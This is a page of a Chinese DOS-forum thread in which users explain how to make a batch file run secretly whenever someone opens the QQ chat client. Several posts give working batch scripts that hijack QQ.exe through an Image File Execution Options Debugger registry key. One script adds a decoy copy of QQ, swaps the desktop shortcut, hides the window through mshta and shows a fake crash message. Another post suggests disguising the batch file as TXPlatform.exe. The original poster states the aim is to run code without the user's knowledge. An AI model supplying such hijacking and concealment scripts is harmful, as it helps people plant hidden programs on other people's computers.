中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何将bat文件捆绑在QQ上?
« [1] [2] [3] »
作者:
标题: 如何将bat文件捆绑在QQ上? 上一主题 | 下一主题
AlexZhang
系统支持





积分 952
发帖 410
注册 2007-2-8
状态 离线
『第 16 楼』:  

那就映像劫持。。。

2008-7-21 00:22
查看资料  访问主页  发短消息 网志   编辑帖子  回复  引用回复
523066680
银牌会员

SuperCleaner


积分 2362
发帖 1133
注册 2008-2-2
状态 离线
『第 17 楼』:  

偶像!!!!!每次看到版主字样 我就激动不已

2008-7-21 07:30
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (523066680)  编辑帖子  回复  引用回复
523066680
银牌会员

SuperCleaner


积分 2362
发帖 1133
注册 2008-2-2
状态 离线
『第 18 楼』:  我们换一种思考方法

其实好像被我们想复杂了,我们把批处理QQ.bat连接到 QQ.exe
以后直接开QQ.bat 不就可以了?

看以下例子 :
start C:\Program Files\Tencent\QQ\QQ.exe
call 123.bat

既方便 又快捷



综合型编程论坛

我的作品索引
  
2008-7-21 09:03
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (523066680)  编辑帖子  回复  引用回复
HAT
版主





积分 9023
发帖 5017
注册 2007-5-31
状态 离线
『第 19 楼』:  


@echo off
>"C:\test.bat" echo @echo off
>>"C:\test.bat" echo start "" "C:\Program Files\Tencent\QQ\QQ.exe"
>>"C:\test.bat" echo hello world
rem 需要什么命令,就在后面接着用echo动态生成就行了。
>>"C:\test.bat" echo pause

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f




2008-7-21 09:54
查看资料  发短消息 网志   编辑帖子  回复  引用回复
moniuming
银牌会员

永远的菜鸟



积分 1335
发帖 574
注册 2007-11-27
来自 广西
状态 离线
『第 20 楼』:  回19楼

在前两天我就试过这个方法了,不行的,因为启动test.bat后,会启动QQ,那么会再次启动test.bat,这样会陷入死循环,无法关闭,我已经被迫重启过了,(在虚拟机里测试的,哈哈...)

2008-7-21 11:02
查看资料  发短消息 网志   编辑帖子  回复  引用回复
ytjiushiwo
初级用户





积分 98
发帖 33
注册 2008-6-22
状态 离线
『第 21 楼』:  

第18楼的..我的意思不是像你所理解的一样.
我的意思是:用户打开QQ.EXE.然后在后台运行123.bat.而用户并不了解所发生的一切...

还有..19楼的.
你前面的命令是把18楼的意思写到了text.txt中吧..
但是..这句是什么意思?
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f

1.我的注册表中在Image File Execution Options 下找不到qq.exe.为什么额?
2.这个好象用到了影象劫持技术..听说过..大概了解些..但是不太懂..你帮我看看我的理解是否正确..也就是说,在加如这个东西之后.用户打开qq.exe并不运行了..反而执行的是test.bat ..是否正确?所谓的影象劫持技术.是不是就是说,比如,用户要打开一个文件..首先系统要先启用解释这个文件类型的基础文件..而影象劫持技术就是把这个基础文件重新定向于另外一个文件..那么当用户在打开这个文件的时候就会自动打开我所定向的另外一个文件,而不执行用户原来的文件了?

2008-7-21 13:18
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
moniuming
银牌会员

永远的菜鸟



积分 1335
发帖 574
注册 2007-11-27
来自 广西
状态 离线
『第 22 楼』:  回21楼

1.那句代码就是在Image File Execution Options下加上qq.exe.
2.正确.

2008-7-21 13:26
查看资料  发短消息 网志   编辑帖子  回复  引用回复
HAT
版主





积分 9023
发帖 5017
注册 2007-5-31
状态 离线
『第 23 楼』:  to 20楼


@echo off
>"C:\test.bat" echo @echo off
>>"C:\test.bat" echo tasklist^|findstr /i QQ.exe
>>"C:\test.bat" echo if %%errorlevel%% neq 0 (
>>"C:\test.bat" echo   start "" "C:\Program Files\Tencent\QQ\QQ.exe"
>>"C:\test.bat" echo )
>>"C:\test.bat" echo echo hello world
rem 需要什么命令,就在后面接着用echo动态生成就行了。
>>"C:\test.bat" echo pause

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f




2008-7-21 13:34
查看资料  发短消息 网志   编辑帖子  回复  引用回复
moniuming
银牌会员

永远的菜鸟



积分 1335
发帖 574
注册 2007-11-27
来自 广西
状态 离线
『第 24 楼』:  回23楼

如果已经打开QQ,这个代码可以正常执行,但是没开qq的话,还是会陷入死循环,

2008-7-21 15:03
查看资料  发短消息 网志   编辑帖子  回复  引用回复
523066680
银牌会员

SuperCleaner


积分 2362
发帖 1133
注册 2008-2-2
状态 离线
『第 25 楼』:  

……看了一下21楼的  原来是做贼啊   难怪这么麻烦……可惜我不会vbs
我猜vbs应该做的到



综合型编程论坛

我的作品索引
  
2008-7-21 15:24
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (523066680)  编辑帖子  回复  引用回复
ytjiushiwo
初级用户





积分 98
发帖 33
注册 2008-6-22
状态 离线
『第 26 楼』:  

我尝试了下..
用印象劫持技术可以..
但是用了之后..就无法打开QQ了..
另外还有什么好方法吗`?

2008-7-21 19:19
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
juventus
初级用户





积分 48
发帖 19
注册 2008-3-22
状态 离线
『第 27 楼』:  

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v Debugger /t REG_SZ /d "start \"C:\test.bat\"" /f
我这 个都写不进去

这个 IFEO 怎么写不了  

调用其实也可以

2008-7-22 10:35
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
XiuXiu
新手上路





积分 16
发帖 7
注册 2008-4-26
状态 离线
『第 28 楼』:  

如果是新版的QQ的话就把那个123.BAT文件编译成EXE文件,并改名为TXPlatform.exe
放在QQ.EXE同一目录下.这样就可以在打开QQ的时候运行了

2008-7-22 14:07
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
523066680
银牌会员

SuperCleaner


积分 2362
发帖 1133
注册 2008-2-2
状态 离线
『第 29 楼』:  

好家伙……我觉得成功的话 这个方法很好了
不过貌似楼主就是想要用bat解决这个问题



综合型编程论坛

我的作品索引
  
2008-7-23 11:45
查看资料  发送邮件  访问主页  发短消息 网志  OICQ (523066680)  编辑帖子  回复  引用回复
moniuming
银牌会员

永远的菜鸟



积分 1335
发帖 574
注册 2007-11-27
来自 广西
状态 离线
『第 30 楼』:  

其实用下面的方法可以实现(利用障眼法),但是打开QQ的时候会出现CMD窗口
@echo off
more +7<"%~0">"e:\program files\tencent\qq\moniuming.bat"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\ QQ.exe" /v Debugger /t REG_SZ /d "\"e:\program
files\tencent\qq\moniuming.bat\"" /f
copy /y "e:\program files\tencent\qq\qq.exe" "e:\program files\tencent\qq\ QQ.exe"
del /f /q "%userprofile%\桌面\qq.exe.lnk"
copy /y "e:\program files\tencent\qq\ QQ.exe" "%userprofile%\桌面\ QQ.exe"
exit
@echo off
if not "%~1"=="h" mshta vbscript:createobject("wscript.shell").run("%~fs0 h "%*"",0)
(window.close)&exit
start "" "e:\program files\tencent\qq\QQ.exe"
ping -n 5 127.1>nul
msg %username% /time:10 "     你的电脑已经崩溃,找东西擦眼泪去吧,哈哈..."


2008-7-23 20:49
查看资料  发短消息 网志   编辑帖子  回复  引用回复
« [1] [2] [3] »
请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: